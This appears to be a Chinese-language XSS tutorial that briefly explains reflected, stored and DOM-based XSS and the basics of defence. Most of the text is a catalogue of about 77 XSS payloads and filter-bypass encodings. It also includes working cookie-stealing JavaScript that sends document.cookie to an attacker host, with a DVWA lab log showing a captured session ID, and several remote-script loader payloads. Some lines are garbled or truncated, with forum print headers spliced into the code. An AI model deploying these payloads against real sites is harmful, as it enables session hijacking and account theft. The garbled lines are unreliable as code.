XSS详解 xss漏洞的利用和防护
1、XSS 漏洞介绍
XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生 xss 攻击。
2、XSS 攻击的危害包括
- 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
- 盗窃企业重要的具有商业价值的资料
- 非法转账
- 强制发送电子邮件
- 网站挂马
- 控制受害者机器向其它网站发起攻击
3、XSS 防御
XSS 防御的总体思路是:对输入(和 URL 参数)进行过滤,对输出进行编码。也就是对提交的所有内容进行过滤,对 url 中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行 html 编码,使脚本无法在浏览器中执行。
4、XSS 分类
分为:
- 反射型XSS
- 存储型XSS
- DOM型XSS
4.1 反射型XSS
反射型 XSS,非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码。反射型 xss 攻击的方法,攻击者通过发送邮件或诱导等方法,将包含有 xss 恶意链接发送给目标用户,当目标用户访问该链接时,服务器将接收该用户的请求并进行处理,然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击。
http://192.168.3.16/01/vulnerabilities/xss_r/?name=1<script>alert(1)</script>
具体实际情况的理论:
- 在目标网站的基础上构建一个攻击链接,如上,把攻击语句换成一个请求某个域名的链接,发送给受害人访问
- 当受害人点击构建的攻击链接的时候,攻击链接里构建的请求会被执行
- 请求执行会携带受害人的登录信息,如
cookie
,这个cookie会存到请求的地址的日志或者其他地方 - 然后攻击人查看登录信息就可以拿这个cookie去登录目标网站
漏洞挖掘:
- 寻找用户能够输入,在客户端可控的输入点。
- 输入恶意参数后,能够原型输出,输入没有过滤恶意代码。
- 构建攻击语句,发送给受害人,获取cookie
4.2 存储型 xss
存储型 XSS,持久化,代码是存储在服务器中的数据库里,如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击。
存储型和反射性的操作差不多,只不过存储型是会把攻击语句存到服务端数据库中然后再返回给前端页面,导致每个访问这个页面的人都会受到攻击,而反射性只有点击链接的被害人才会受到攻击。
漏洞挖掘方法:寻找一切能输入的地方,例如留言板、发表文章、友情链接,能与数据库交互的地方,都有可能存在 xss 漏洞,除了检测输入还要检测输出是否有过滤。
如果有漏洞的话,在留言板输入 xss 利用平台的恶意代码,有人访问这个页面就会盗取它的 cookie
4.3 dom 型 xss
DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行。基于这个特性,就可以利用 JS 脚本来实现 XSS 漏洞的利用。
一些经常出现 dom xss 的关键语句:
- document.referer 属性
- window.name 属性
- location 属性
- innerHTML 属性
- documen.write 属性
有代码如下,进行构建语句攻击
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
<input id="button" type="button" value="click me!" onclick="domxss()">
尝试构建语句如下
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
<a href='" ' onclick="alert('xss')"> "'>what do you see?</a>"
5、xss常用测试语句
在网站是否存在 xss 漏洞时,应该输入一些标签如<、>输入后查看网页源代码是否过滤标签,如果没过滤,很大可能存在 xss 漏洞。
<h5>1</h5>
<span>1</span>
<script>console.log(1);</script>
闭合
"><span>x</span><"
'>"><span>x</span><'
单行注释
"><span>x</span>//
6、xss常见攻击语句
输入检测确定标签没有过滤后,为了显示存在漏洞,需要插入 xss 攻击代码。
<script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>
(1)普通的 XSS JavaScript 注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG 标签 XSS 使用 JavaScript 命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG 标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG 标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML 编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷 IMG 标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode 标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8 的 Unicode 编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=java..省略..XSS')>
(11)嵌入式标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
<IMG SRC="javascript:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><s
cript>z=z+'
src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.ne
t/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)<
/script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG
SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces 和 meta 前的 IMG 标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRChttp://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的 HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="javascript:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
(33)BODY 标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META 链接 url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
(42)Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND="javascript:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE 属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名 STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
(54)BASE
<BASE HREF="javascript:alert('XSS');//">
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss"
implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
<SCRIPT SRC=""></SCRIPT>
(59)IMG 嵌入式命令,可执行任意命令
<IMG SRC="http://www.a.com/a.php?a=b">
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
(62)<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
(63)<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
(64)<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
(65)<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>"
SRC="http://3w.org/xss.js"></SCRIPT>
(67)<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
(68)URL 绕行
<A HREF="http://127.0.0.1/">XSS</A>
(69)URL 编码
<A HREF="http://3w.org">XSS</A>
(70)IP 十进制
<A HREF="http://3232235521″>XSS</A>
(71)IP 十六进制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP 八进制
<A HREF="http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
(74)节省[http:]
<A HREF="//www.google.com/">XSS</A>
(75)节省[www]
<A HREF="http://google.com/">XSS</A>
(76)绝对点绝对 DNS
<A HREF="http://www.google.com./">XSS</A>
(77)javascript 链接
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
7、xss 常见利用
xss 漏洞能够通过构造恶意的 xss 语句实现很多功能,其中最常用的时,构造 xss恶意代码获取对方浏览器的 cookie。
var img=document.createElement("img");
img.src="http://www.target.com/log?"+escape(document.cookie);
document.body.appendChild(img);
// <script src="http://192.168.0.127/xss.js"></script>
当发现存在 xss 漏洞时,如果只是弹出信息窗口,这样只能证明存在一个 xss 漏洞,想再进一步深入的话,就必须学会加载 xss 攻击 payload。同时加载 payload也要考虑到语句的长度,语句是越短越好,因为有的插入语句的长度会被限制。
常见的加载攻击语句有<script src="http://192.168.3.14/xss.js"></script>
单引号可以去掉 <script src=http://192.168.3.14/xss.js></script>
可以变成<scriptsrc=//192.168.3.14/xss.js></script>
这种格式如果网站是 http 会自动加载 http,如果网站是 https 会自动变成 https。
在 kali 里面打开 sudo python -m SimpleHTTPServer 80
小型 web 服务,登陆dvwa 后台输入 xss 代码,插入之后,受害者访问该网页就会把它的 cookie发送到 kali 的 web 服务上。查看日志就能得到 cookie
服务器开启,当前服务器的ip是14:
┌──(kali㉿kali)-[~]
└─$ sudo python -m SimpleHTTPServer 80
[sudo] kali 的密码:
Serving HTTP on 0.0.0.0 port 80 ...
192.168.3.7 - - [07/Dec/2021 06:08:24] "GET / HTTP/1.1" 200 -
192.168.3.7 - - [07/Dec/2021 06:08:24] code 404, message File not found
192.168.3.7 - - [07/Dec/2021 06:08:24] "GET /favicon.ico HTTP/1.1" 404 -
192.168.3.7 - - [07/Dec/2021 06:08:29] "GET /testxss.js HTTP/1.1" 200 -
创建一个文件testxss.js
var img=document.createElement("img");
img.src="192.168.3.14?cookie="+escape(document.cookie);
document.body.appendChild(img);
然后去靶场写入XSS,输入这条语句
1<script src='http://192.168.3.14/testxss.js'></script>
看kali
服务的日志
"GET /?cookie=security%3Dlow%3B%20PHPSESSID%3Dnb7e57mtohsbjusb7agsevi9f1 HTTP/1.1" 200 -
看到cookie就可以使用了。
8、加载远程攻击的 paylod
常见的标准 payload
注意 网站采用的协议。
<script src="http://192.168.3.14/testxss.js"></script>
<script src="https://192.168.3.14/testxss.js"></script>
自动选择协议
<script src=//192.168.3.14/testxss.js></script>
图片创建加载连接
<img src=''onerror=document.body.appendChild(document.createElement('script')).src='//192.168.3.14/testxss.js'>
字符拼接,这种一般是输入的字符有限制的时候使用
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://192.168.3.14/'</script>
<script>z=z+'testxss'</script>
<script>z=z+'.js?'</script>
<script>z=z+'></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
有的情况要用/**/注释不需要的代码。
jquery
<script>$.getScript("//192.168.3.14/testxss.js");</script>
9、xss 编码绕过
-
转义引号了的情况下可以不使用引号
-
过滤了
alert
,可以使用prompt/confirm
等其他 -
标签过滤
</>
:可以使用预定义的字符尝试& (和号)成为 & " (双引号)成为 " ’ (单引号)成为' < (小于)成为 < >(大于)成为 >
-
一些语句可以使用其他编码方式编码过后的内容进行攻击
一些编码:
ascii 编码
<script>alert(String.fromCharCode(88,83,83))</script>
url编码
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
JS八进制编码
<script>eval("\141\154\145\162\164\50\61\51");</script>
JS十六进制编码
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
Unicode编码
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>
HTML编码(在‘=’后面可以解析HTML编码)
十进制
<img src="x" onerror="alert(1)" />
<button onclick="confirm('7');">Button</button>
十六进制
<img src="x" onerror="alert(1)"
/>
base64 编码
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>